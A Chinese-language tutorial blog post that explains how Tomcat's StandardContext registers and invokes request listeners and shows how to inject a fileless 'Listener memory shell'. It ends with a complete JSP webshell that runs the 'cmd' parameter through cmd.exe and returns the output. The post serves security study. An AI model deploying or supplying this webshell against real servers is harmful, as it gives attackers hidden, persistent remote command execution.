lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1399761254 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$25)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

其中我们需要重点关注的是 org.apache.catalina.core.StandardContext#listenerStart 方法。看前半部分关键代码。

java
public boolean listenerStart() {
    if (log.isDebugEnabled()) {// 如果日志级别为调试,记录开始配置应用程序事件监听器的信息。
        log.debug("Configuring application event listeners");
    }

    String[] listeners = this.findApplicationListeners();// 调用 findApplicationListeners () 方法获取所有注册的监听器的类名数组
    Object[] results = new Object[listeners.length];
    boolean ok = true;
    // 对所有 Listener 尝试实例化监听器
    for(int i = 0; i < results.length; ++i) {
        if (this.getLogger().isDebugEnabled()) {
            this.getLogger().debug(" Configuring event listener class '" + listeners[i] + "'");
        }

        try {
            String listener = listeners[i];
            results[i] = this.getInstanceManager().newInstance(listener);
        } catch (Throwable var16) {
            Throwable t = var16;
            t = ExceptionUtils.unwrapInvocationTargetException(t);
            ExceptionUtils.handleThrowable(t);
            this.getLogger().error(sm.getString("standardContext.applicationListener", new Object[]{listeners[i]}), t);
            ok = false;
        }
    }

    if (!ok) {
        this.getLogger().error(sm.getString("standardContext.applicationSkipped"));
        return false;
    } else {
        List<Object> eventListeners = new ArrayList();
        List<Object> lifecycleListeners = new ArrayList();
        Object[] instances = results;
        int var7 = results.length;

        int var8;
        Object lifecycleListener;
        for(var8 = 0; var8 < var7; ++var8) {// 遍历 results 数组,将监听器按类型分别添加到这两个列表中
            lifecycleListener = instances[var8];
            if (lifecycleListener instanceof ServletContextAttributeListener || lifecycleListener instanceof ServletRequestAttributeListener || lifecycleListener instanceof ServletRequestListener || lifecycleListener instanceof HttpSessionIdListener || lifecycleListener instanceof HttpSessionAttributeListener) {
                eventListeners.add(lifecycleListener);//eventListeners 存储事件监听器(如属性监听器)。
            }

            if (lifecycleListener instanceof ServletContextListener || lifecycleListener instanceof HttpSessionListener) {
                lifecycleListeners.add(lifecycleListener);// 存储生命周期监听器(如 Servlet 上下文监听器和会话监听器)
            }
        }

        eventListeners.addAll(Arrays.asList(this.getApplicationEventListeners()));// 将应用程序当前的事件监听器添加到 eventListeners 列表中
        this.setApplicationEventListeners(eventListeners.toArray());// 更新应用程序事件监听器
    /*
    (后半部分省略....)
    */

这部分代码调用了 findApplicationListeners () 去 web.xml 或者 @WebListener 注解注册实例化得到的 Listener,并且将结果存储在 result 数组中,在 for 循环里尝试实例化。当 ok 为真时,将 result 数组里的 Listener 按照类型存储在不同列表里,而我们需要的 ServletRequestListener 则被分类进了 eventListeners。那我们内存马的目标就是向 eventListeners 里添加我们的恶意 Listener。 而在我们这段代码的最后执行了 eventListeners.addAll () 向里面插入通过 this.getApplicationEventListeners () 获取的应用事件监听器。我们看看其代码实现。

java
public Object[] getApplicationEventListeners() {
    return this.applicationEventListenersList.toArray();
}

很简洁,直接将其 applicationEventListenersList 转化为数组返回。那我们的目标就是添加 applicationEventListenersList。那有没有相关的 add 方法呢就像我们之前一样,答案自然是有的,你可以直接搜 applicationEventListenersList.add,目标代码就是 org.apache.catalina.core.StandardContext#addApplicationEventListener

java
public void addApplicationEventListener(Object listener) {
    this.applicationEventListenersList.add(listener);
}

那我们在看看 Listener 是如何触发的,断点在 TestListener#requestInitialized 方法下,查看调用栈

java
requestInitialized:15, TestListener (org.example)
fireRequestInitEvent:5157, StandardContext (org.apache.catalina.core)
invoke:116, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:660, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:346, CoyoteAdapter (org.apache.catalina.connector)
service:388, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:936, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1190, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:63, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

查看 org.apache.catalina.core.StandardContext#fireRequestInitEvent,其调用了 TestListener#requestInitialized。

java
public boolean fireRequestInitEvent(ServletRequest request) {
    Object[] instances = this.getApplicationEventListeners();
    if (instances != null && instances.length > 0) {
        ServletRequestEvent event = new ServletRequestEvent(this.getServletContext(), request);
        Object[] var4 = instances;
        int var5 = instances.length;

        for(int var6 = 0; var6 < var5; ++var6) {
            Object instance = var4[var6];
            if (instance != null && instance instanceof ServletRequestListener) {
                ServletRequestListener listener = (ServletRequestListener)instance;

                try {
                    listener.requestInitialized(event);
                } catch (Throwable var10) {
                    Throwable t = var10;
                    ExceptionUtils.handleThrowable(t);
                    this.getLogger().error(sm.getString("standardContext.requestListener.requestInit", new Object[]{instance.getClass().getName()}), t);
                    request.setAttribute("javax.servlet.error.exception", t);
                    return false;
                }
            }
        }
    }

    return true;
}

可以看到 11 行执行了 listener.requestInitialized (event); 而 listener 来自 instance,instance 来自数组 var4,var4 来自 instances,instances 来自 this.getApplicationEventListeners (); 欸,是不是很熟悉,这不就是我们刚刚在上一段代码中看到的吗。我们通过 addApplicationEventListener 添加的 Listener 在这里就会被读取出来,然后在循环里依次调用!

Listener 内存马简易实现

刚刚看了原理,可以发现 Listener 的内存马制作原理比之前俩种要简单的很多。那么我们就来看看这个简单的 Demo

java
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>

<%!
    public class EvilListener implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                    Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
                    String out = s.hasNext()?s.next():"";
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request)requestF.get(req);
                    request.getResponse().setCharacterEncoding("GBK");
                    request.getResponse().getWriter().write(out);
                }
                catch (Exception ignored) {}
            }
        }
        public void requestInitialized(ServletRequestEvent sre) {}
    }
%>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    EvilListener evilListener = new EvilListener();
    context.addApplicationEventListener(evilListener);
    out.println("[+]&nbsp;&nbsp;&nbsp;&nbsp;Inject Listener Memory Shell successfully!<br>[+]&nbsp;&nbsp;&nbsp;&nbsp;Shell url: http://localhost:8080/test/?cmd=ipconfig");
%>

可以发现这个内存马获取 StandardContext 的方法似乎不一样了,问了一下 gpt,大致是这是一种相对简单但是局限的获取 StandardContext 方法,其获取的 StandardContext 没有之前的方法获取的详细,且常用于处理请求时。看其他文章发现还有一种获取方法。

java
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();  
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

这种方法不依赖于请求对象,而是直接从类加载器中获取上下文,通常用于在应用程序的启动或初始化时获取上下文。它更具通用性,因为它不依赖于特定的请求。

那么继续回到内存马上,可以看到其是创建了一个恶意的 EvilListener 继承自 ServletRequestListener,然后直接直接调用 addApplicationEventListener 把这个恶意的 Listener 给添加进去了,是不是很简单 QAQ

参考链接

  1. https://xz.aliyun.com/t/13638
  2. https://www.freebuf.com/vuls/344284.html
  3. https://www.javasec.org/javaweb/MemoryShell/